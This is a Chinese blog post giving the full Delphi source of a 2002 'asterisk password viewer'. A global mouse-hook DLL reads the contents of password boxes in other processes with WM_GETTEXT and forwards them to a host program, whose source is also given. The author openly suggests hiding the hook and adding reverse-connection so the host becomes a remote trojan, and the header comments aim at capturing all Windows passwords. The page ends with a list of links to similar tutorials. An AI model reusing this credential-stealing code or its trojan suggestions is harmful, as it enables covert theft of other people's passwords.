Windows文本框星号密码查看器

本人2002的学习作品

作者:成晓旭

1、  设计原理:注册一个系统级鼠标挂钩,通过监测系统鼠标所在Windows窗口来获取密码,成功获取密码之后,通过发送自定义的Windows系统消息,到宿主程序。

2、  Hook动态链接库设计原理:采用Windows Hook技术[鼠标挂钩],切入远程进程内部,并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint()),获取窗口句柄之后,判断当然窗口是否为文本框,并进一步判断是否为密码框,当发现是密码输入框时,当此窗口发送WM_GETTEXT消息,获取密码。成功获取密码之后,发现自定义的WM_COPYDATA消息到宿主程序;

具体实现步骤简介:

1.  设置系统鼠标挂钩:

hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

2.  注销系统鼠标挂钩:

UnHookWindowsHookEx(hkMouseHook);

3.  监测当然窗口及窗口风格判断:

MousePos := pMhs.pt;

wnd := WindowFromPoint(pmhs.pt);

style := GetWindowLong(wnd,GWL_STYLE);

if (style and ES_PASSWORD) = ES_PASSWORD then

begin

//发现密码窗口

end;

4.  向密码框获取密码串:

SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

5.  发送自定义消息到宿主程序:

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := pt.X;

pmi.MouseY := pt.Y;

pmi.MouseTitle := pwd;

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

3、  宿主程序设计原理:我的宿主程序是自己学习Windows SDK开发时作品,采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中,只需要在系统消息处理方法中,增加一个对WM_COPYDATA的拦截及处理过程就可能了。

case uMsg of

WM_COPYDATA:

begin

CXX_ReceiveCopyData(uMsg);

end;

……

end;

4、  应用技术提点:这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然,有兴趣的话,你完全可以将其Hook进一步进行隐藏,并为其增加“端口反弹”或者“半连接”功能,宿主程序可以是自己的远程XXXXXX,哈哈,这样发布出来的话,想知道的东西就多了……

5、 完整源码代码:

1.  Hook鼠标挂钩部分:

...{
     产品名称:     Windows 密码工具[Window98/NT/2000/XP]
     功能描述:     截取Windows密码编辑框中的密码串
                    采用纯粹的SDK开发
                    能捕捉windows98/NT/2000/XP的密码框中的"*"密码
     开发平台:     Windows2000 + Delphi6 + MSDN + SDK
     开发者:       成晓旭
     版权所有:     成晓旭
     模块设计者:   成晓旭
     设计思路:     采用Windows Hook技术[鼠标挂钩],切入远程进程内部,
                    再发送WM_GETTEXT消息截取密码,最后用SendMessage发送
                    WM_COPYDATA消息自定义的密码信息结构体到目标窗口,以
                    显示或处理Hook DLL所截取的远程进程的密码.
     开始时间:     2002年3月4日
     完成时间:     2002年5月24日[最终实现]
     备    注:     此工具是本人在2002年开发的第二个软件
                    本工具在2000年6月份左右曾实现过一个Windows98下的
                    密码截取工具,两年以来,我一直没有放弃过实现Windows
                    操作系统下的所有密码的截取,如此,终于实现了两年以来
                    未曾实现的截取WindowsNT系列的密码.[2002/05/24]
                    以后的路还很长:WindowNT系列的当前用户登录密码、
                    内存长驻的其它密码等等.
}
unit MouseHook;

interface
uses
    Messages,Windows;//,SysUtils;

var

    hkMouseHook:HHook;
    ProcSafelyExit:Pointer;
    uCXXMsg:UINT;
    procedure   DllEntryProc(ul_reason_for_call:DWORD);
    procedure   SetupHook(fSet:boolean);stdcall;export;
    function    CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
    procedure   AutoUnInstallHook();far;

implementation

uses DataStruct;


procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);
var
    pcds:PCopyDataStruct;
    pmi:PMouseInfo;
    hDec:THandle;
begin
    hDec:=Findwindow(Nil,'WM_COPYDATA接收端');
    if hDec = 0 then
    begin
        MessageBox(0,'数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!','提示',MB_OK or MB_ICONWARNING);
        Exit;
    end;
    try
        GetMem(pmi,sizeof(TMouseInfo));
        pmi.MouseX := pt.X;
        pmi.MouseY := pt.Y;
        pmi.MouseTitle := pwd;
        GetMem(pcds,sizeof(TCopyDataStruct));
        pcds.dwData := 9910;
        pcds.cbData := sizeof(TMouseInfo);
        pcds.lpData := pmi;
        SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));
        //PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
    finally
        FreeMem(pmi);
        FreeMem(pcds);
    end;
end;

function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var
    pMhs:PMOUSEHOOKSTRUCT;
    wnd:HWND;
    style:LongInt;
    MousePos:TPoint;
    MouseTitle:TMTitle;
begin
    if iCode = HC_ACTION then
    begin
        FillChar(MouseTitle,255,0);
        pMhs := PMOUSEHOOKSTRUCT(lParam);
        MousePos := pMhs.pt;
        wnd := WindowFromPoint(pmhs.pt);
        style := GetWindowLong(wnd,GWL_STYLE);
        if (style and ES_PASSWORD) = ES_PASSWORD then
        begin
            SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));
            //发送截取的信息[]
            CXX_SendCopyData(MousePos,MouseTitle);
        end;
    end;
    Result := CallNextHookEx(hkMouseHook,iCode,wParam,lParam);
end;

procedure SetupHook(fSet:boolean);stdcall;export;
begin
    if fSet then
    begin
        if hkMouseHook <> 0 then Exit;
            hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);
        //if hkMouseHook <> 0 then
        //    MessageBox(0,'鼠标挂钩安装成功!!!','挂钩提示',MB_ICONINFORMATION or MB_OK)
        //else
        //    MessageBox(0,'鼠标挂钩安装失败!','挂钩提示',MB_ICONWARNING or MB_OK);
    end
    else
    begin
       if hkMouseHook <> 0 then
        begin
            UnHookWindowsHookEx(hkMouseHook);
            hkMouseHook := 0;
            //if hkMouseHook = 0 then
            //    MessageBox(0,'鼠标挂钩撤消成功!!!','挂钩提示',MB_ICONINFORMATION or MB_OK)
            //else
            //    MessageBox(0,'鼠标挂钩撤消失败!','挂钩提示',MB_ICONWARNING or MB_OK);
        end;
    end;
end;

procedure   DllEntryProc(ul_reason_for_call:DWORD);
begin
...{
    if ul_reason_for_call = DLL_PROCESS_ATTACH then
    begin
        MessageBox(0,'DLL_PROCESS_ATTACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);
        //uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);

    end
    else if ul_reason_for_call = DLL_PROCESS_DETACH then
    begin
        MessageBox(0,'DLL_PROCESS_DETACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);
    end;
    }
end;

procedure AutoUnInstallHook();
begin
     if hkMouseHook <> 0 then
          SetupHook(False);
     ExitProc := ProcSafelyExit;
end;

end.









2.  宿主程序部分:

此程序中,还有关于Windows程序资源加载以及窗口背景绘制等技术的演示。

...{
     产品名称:     Windows 密码工具
     功能描述:     截取Windows密码编辑框中的密码串
                    采用纯粹的SDK开发
     开发平台:     Windows2000 + Delphi6 + MSDN + SDK
     开发者:       成晓旭
     版权所有:     成晓旭
     模块设计者:   成晓旭
     开始时间:     2002年3月4日
     完成时间:     2002年3月4日
     修改时间1:    2002年3月4日
     备    注:     此工具是本人在2002年开发的第二个软件,
}

program MouseExe;
uses
  Windows,
  SysUtils,
  Messages,
  Tie_In_MHook in 'Tie_In_MHook.pas',
  DataStruct in 'DataStruct.pas';

...{$R MouseExe.res}
const
    CXX_WND_CLASS = 'DC_Password';   //主窗口类名
    CXX_WND_CAPTION = 'Window2000/XP 密码捕捉工具';
    CXX_PASSKEY = 'chenxiaoxu';
    MOUSE_MOVE_TIMER = WM_USER + 9910;
    SELF_MESSAGE_NAME = 'CXX_Test_Window_Message';
var
    hWndMain,               //程序主窗口句柄
    hBtnCheck,               //程序发送按钮句柄
    hBtnClose,              //程序关闭按钮句柄
    hStcPos,               //鼠标位置提示
    hStcTitle,               //窗口标题提示
    hEdtPos,                //鼠标当前位置
    hEdtTitle:               //获取窗口标题
                LongWord;
    hInstMain:  integer;    //程序实例句柄
    hBGBmp :    HBITMAP;    //主窗口背景图片句柄
    hCur:       HICON;
    uCXXMsg:    UINT;
procedure CXX_SendCopyData();
var
    pcds:PCopyDataStruct;
    pmi:PMouseInfo;
    hDec:THandle;
begin
    hDec:=Findwindow(Nil,'WM_COPYDATA接收端');
    if hDec = 0 then
    begin
        MessageBox(hWndMain,'数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!','提

示',MB_OK or MB_ICONWARNING);
        Exit;
    end;
    //try
        GetMem(pmi,sizeof(TMouseInfo));
        pmi.MouseX := 10;
        pmi.MouseY := 50;
        pmi.MouseTitle := 'chenxiaoxu';
        GetMem(pcds,sizeof(TCopyDataStruct));
        pcds.dwData := 9910;
        pcds.cbData := sizeof(TMouseInfo);
        pcds.lpData := pmi;
        SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));
        //PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
    //finally
        FreeMem(pmi);
        FreeMem(pcds);
    //end;
end;
procedure CXX_ReceiveCopyData(Msg:TMessage);
var
    str:string;
begin
    str := IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseX);
    str := str + IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseY);
end;
//绘制窗口位图背景函数
function CXX_DrawBGBitmap(fdc:HDC;fBitmap:HBitmap):boolean;
var
    hdcMem:HDC;
    rect:TRect;
    bmp:Bitmap;
    x,y:integer;
begin
//    bmp := nil;
    Result := False;
    //主窗口背景图片尚未加载,不能绘制窗口背景
    if fBitmap = 0 then Exit;
    //获取绘图区域
    GetClientRect(hWndMain,rect);
    //创建兼容内存设备描述表
    hdcMem := CreateCompatibleDC(fdc);
    if hdcMem = 0 then Exit;
    //设置位图对象
    if (GetObject(fBitmap,sizeof(Bitmap),@bmp) = 0) then Exit;
    //设置内存设备描述表内容
    if NOT Boolean(SelectObject(hdcMem,fBitmap)) then Exit;
    //绘制窗口背景图片
    x := 0;
    while(x <= rect.Right-rect.Left) do
    begin
        y := 0;
        while(y <= rect.Bottom-rect.Top) do
        begin
            BitBlt(fdc,x,y,bmp.bmWidth,bmp.bmHeight,hdcMem,0,0,SRCCOPY);
            y := y + bmp.bmHeight;
        end;
        x := x + bmp.bmWidth;
    end;
    Result := DeleteDC(hdcMem);
end;

...{
 function CXX_SetWinCaption():设置窗口对象标题函数
 参数定义:
     hWnd:   窗口对象句柄
     pchText:窗口对象标题
}
procedure CXX_SetWinCaption(hWnd:hWND;pchText:PChar);
begin
    SendMessage(hWnd,WM_SETTEXT,0,Integer(pchText));
    //SetWindowText(hWnd,pchText);
end;
...{
 function CXX_GetWinCaption():取得按钮标题函数
 参数定义:
     hWnd:   按钮句柄
     pchText:按钮标题
}
procedure CXX_GetWinCaption(hWnd:hWND;pchText:PChar);
begin
    SendMessage(hWnd,WM_GETTEXT,255,Integer(pchText));
end;

procedure CXX_MouseMoveTimerProc(hWin:HWND;uMsg:UINT;idEvent:UINT;dwTime:DWORD);
begin
    //MessageBox(hWin,'系统时间','提示',0);
end;

function CXX_SetProgramTimer(fSetTimer:boolean):boolean;
begin
    Result := False;
    if fSetTimer then
    begin
        //if SetTimer(hWndMain,MOUSE_MOVE_TIMER,3000,@CXX_MouseMoveTimerProc) <> 0 then
        if SetTimer(hWndMain,MOUSE_MOVE_TIMER,100,nil) <> 0 then
            Result := True;
    end
    else
    begin
        if KillTimer(hWndMain,MOUSE_MOVE_TIMER) then
            Result := True;
    end;
end;
//主窗口消息回调函数
//function CXX_MainWindowProc(hWnd,uMsg,wParam,lParam:DWord):LRESULT;stdcall;
function CXX_MainWindowProc(hWnd:DWord;uMsg:TMessage;wParam,lParam:DWord):LRESULT;stdcall;
var
//    pchPassword:PCHAR;
    dc :HDC;
    ps:PAINTSTRUCT;
begin
...{
    if uMsg = uCXXMsg then
    begin
        MessageBox(hWnd,'自定义消息来了!!!','Hint',0);
        MessageBox(hWnd,PChar(lParam),'消息内容',0);
    end;
    }
    case uMsg of
    WM_COPYDATA:
    begin
        //MessageBox(hWndMain,'窗口接收WM_COPYDATA消息!','提示',MB_OK or MB_ICONWARNING);
        CXX_ReceiveCopyData(uMsg);
    end;
    WM_CREATE:
    begin
        uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);
    end;
    WM_RBUTTONDBLCLK:   //$0206
        PostQuitMessage(0);
    WM_COMMAND:         //$0111
    begin
        if lParam = hBtnClose  then
        begin
            if MessageBox(hWnd,PChar('确定要退出【'+CXX_WND_CAPTION+'】吗?'),'确

认',MB_YESNO or MB_ICONQUESTION) = IDYES then
                PostQuitMessage(0);
        end
        else if lParam = hBtnCheck then
        begin
            //CXX_SetProgramTimer(True);
            //PostMessage(HWND_BROADCAST,uCXXMsg,0,0);
            //SetupHook(True);
            CXX_SendCopyData();
        end;
    end;
    WM_PAINT:
    begin
        dc := BeginPaint(hWnd,ps);
           if NOT CXX_DrawBGBitmap(dc,hBGBmp) then
            MessageBox(hWnd,'绘制主窗口背景失败呢!','提示',MB_OK or MB_ICONWARNING);
    end;
    WM_DESTROY:
    begin
         CXX_SetProgramTimer(false);
         Halt;   //$0002:
    end;
    end;    //End of Case
    Result := DefWindowProc(hWnd,uMsg,wParam,lParam);
end;

//应用程序实例化
function CXX_InitInstance():boolean;
var
    wndClass:TWndClass;
begin
    hInstMain := hInstance;
    hCur := LoadCursor(hInstMain,'HANDLE');
    if hCur = 0 then
        MessageBox(hWndMain,'加载主窗口背景图片失败!!!','提示',MB_OK or 

MB_ICONWARNING)
    else
        SetCursor(hCur);
    hBGBmp := LoadBitmap(hInstMain,'BACKBMP');
    if hBGBmp = 0 then
        MessageBox(hWndMain,'加载主窗口背景图片失败!!!','提示',MB_OK or 

MB_ICONWARNING);
    wndClass.cbClsExtra := 0;
    wndClass.cbWndExtra := 0;
    wndClass.hInstance := hInstMain;
    wndClass.hIcon := 0;
    wndClass.hCursor := LoadCursor(0,IDC_HAND);
    wndClass.hbrBackground := CTLCOLOR_EDIT;
    wndClass.lpfnWndProc := @CXX_MainWindowProc;
    wndClass.lpszClassName := CXX_WND_CLASS;
    wndClass.lpszMenuName := nil;
    wndClass.style := CS_DBLCLKS;
    Result := Boolean(RegisterClassA(wndClass));
end;
//主程序函数
procedure CXX_RunMainProgram();
var
    myMsg:TMsg;
begin
    if NOT CXX_InitInstance() then
        Exit;
    hWndMain := CreateWindowEx(WS_EX_CLIENTEDGE or WS_EX_TOPMOST,
                        CXX_WND_CLASS,CXX_WND_CAPTION,
                        WS_VISIBLE or WS_SYSMENU or WS_MINIMIZEBOX,
                        0,0,320,150,0,0,hInstMain,nil);
    hStcPos := CreateWindowEx(0,'static','鼠标位置:',
                        WS_VISIBLE OR WS_CHILD,
                        5,10,80,20,
                        hWndMain,0,hInstMain,nil);
    hEdtPos := CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',
                        WS_VISIBLE OR WS_CHILD,
                        100,10,200,20,
                        hWndMain,0,hInstMain,nil);
    hStcTitle := CreateWindowEx(0,'static','获取密码:',
                        WS_VISIBLE OR WS_CHILD,
                        5,50,80,20,
                        hWndMain,0,hInstMain,nil);
    hEdtTitle := CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',
                        WS_VISIBLE OR WS_CHILD,
                        100,50,200,20,
                        hWndMain,0,hInstMain,nil);
    hBtnCheck := CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,'Button','发送消息',
                        WS_VISIBLE OR WS_CHILD,
                        10,85,100,30,
                        hWndMain,0,hInstMain,nil);
    hBtnClose := CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,'Button','退出程序',
                        WS_VISIBLE OR WS_CHILD,
                        180,85,100,30,
                        hWndMain,0,hInstMain,nil);
    //主程序函数循环
    while(GetMessage(myMsg,hWndMain,0,0)) do
    begin
        TranslateMessage(myMsg);
        DispatchMessage(myMsg);
    end;
end;

begin
    CXX_RunMainProgram();
end.

Windows文本框星号密码查看器相关推荐

  1. 简易的星号密码查看器(对话框版+网页版)

    基本都是别人写的,我居然有脸写原创. 玩路路解密破解游戏的时候用到过一个工具,可以用来查看窗口的星号密码以及网页中的星号密码,顿觉得很牛x,找了一下它们的原理,依葫芦画瓢也自娱自乐了一番.就当是验证一 ...

  2. VC星号密码查看器源码

    UINT g_timer = 0; void CGetPwdDlg::StartDeteck() {     // TODO: 在此添加控件通知处理程序代码     //g_hHook=SetWind ...

  3. 网页密码查看器+原代码+windows密码查看

    前段时间写了个查看windows密码框的密码查看器! 今天在 网上看了些关于网页密码查看的资料 就写了个网页密码查看器! 启动后点开始按纽(也就是第一个按纽) 把鼠标移动到网页密码框等1秒就ok了 ( ...

  4. [原]简易Windows密码查看器

    [标题]:简易Windows密码查看器 [时间]:2009-10-09 [摘要]:通过全局钩子获取当前鼠标处的窗口控件句柄,然后直接调用GetWindowText()获取密码文本. [关键字]:密码. ...

  5. 简易Windows密码查看器

    [标题]:简易Windows密码查看器 [时间]:2009-10-09 [摘要]:通过全局钩子获取当前鼠标处的窗口控件句柄,然后直接调用GetWindowText()获取密码文本. [关键字]:密码. ...

  6. 木马编程DIY之星号密码查看

    原文链接:http://blog.csdn.net/chinafe 星号密码查看工具大家都用过吧,现在我们自己来写个超级简单的.其实密码框是一个 Windows 的一个子窗口,显示星号是因为密码框设置 ...

  7. 冷风 星号密码查看工具DIY

    注:本文于07/1月于黑客防线发表版权归黑客防线所有,转载请注明出处 号密码查看工具DIY 文/德州科技职业学院 冷风 星号密码查看工具大家都用过吧,现在我们自己来写个超级简单的.其实密码框是一个Wi ...

  8. ***编程DIY (Delphi版) - 第3篇 星号密码查看工具

    星号密码查看工具大家都用过吧,现在我们自己来写个超级简单的.其实密码框是一个Window子窗体,显示星号是因为密码框设置了EM_SETPASSWORDCHAR属性,只要我们把密码框的EM_SETPAS ...

  9. 木马编程DIY (Delphi版) - 第3篇 星号密码查看工具

    注:<木马编程DIY>由冷风(chinafe)创作完成.本文在其基础上将原文中的C++源代码修改为Delphi源代码,并加以相关说明. 感谢冷风(chinafe)的无私奉献. 星号密码查看 ...

最新文章

  1. 技术天地 | CSS-in-JS:一个充满争议的技术方案
  2. thinkphp查询
  3. js 判断字符串是否包含某字符串
  4. 高精度模板(含加减乘除四则运算)
  5. 使用Docker-数据卷挂载案例2
  6. break VS continue
  7. c语言宏函数怎么传递宏参数_C语言中的宏参数评估
  8. Dell Alienware 13 R3 win10 安装 ubuntu 18.04 总结
  9. Mysql生产环境表更新方案_生产环境中,数据库升级维护的最佳解决方案flyway
  10. php JSON数据格式化方法
  11. 数据结构(C++语言版)第三版pdf
  12. 易语言制作计算软件简单步骤_基于飞时达FastTFT软件方格网法计算土方量的具体步骤...
  13. python+django+mysql图片分享平台毕业设计毕设开题报告
  14. 怎么把excel文件转成dta_dta数据格式在excel表格中打开-怎么才能把excel文件格式转化为dat格式?...
  15. eaxyexcel获取指定行,获取总行数
  16. 一气呵成:用Compose完美复刻Flappy Bird!
  17. 互联网新半场的流量生态——阿里云定向免流方案
  18. 基于DES和RSA算法自动分配密钥的加密聊天程序
  19. 计算机三级考点6:网络关键设备选型。
  20. Tecplot进阶——如何用Tecplot制作一张满足论文投稿要求的图片

热门文章

  1. 中图法检索计算机科学方面,信息检索 第一次上机答案lpar;南通大学rpar;
  2. P2P原理以及如何实现(整理)
  3. ec11编码器c语言程序,旋转编码器 关于EC11计数的程序 - 下载 - 搜珍网
  4. 苹果手机双卡双待是哪一款_手机双卡双待信号有区别吗手机主卡、副卡这些区别,早知道为好!...
  5. 【展馆设计】互动多媒体投影有哪些实用价值
  6. hive创建角色并赋权
  7. 电容三点式LC振荡器工作原理
  8. 控制系统分析与设计(二):比例积分控制器的传递函数
  9. 动态虚拟服务器,AMD展示三代Opteron间虚拟服务器动态迁移
  10. mysql中的locate_mysql中LOCATE和CASE WHEN...THEN...ELSE...END结合用法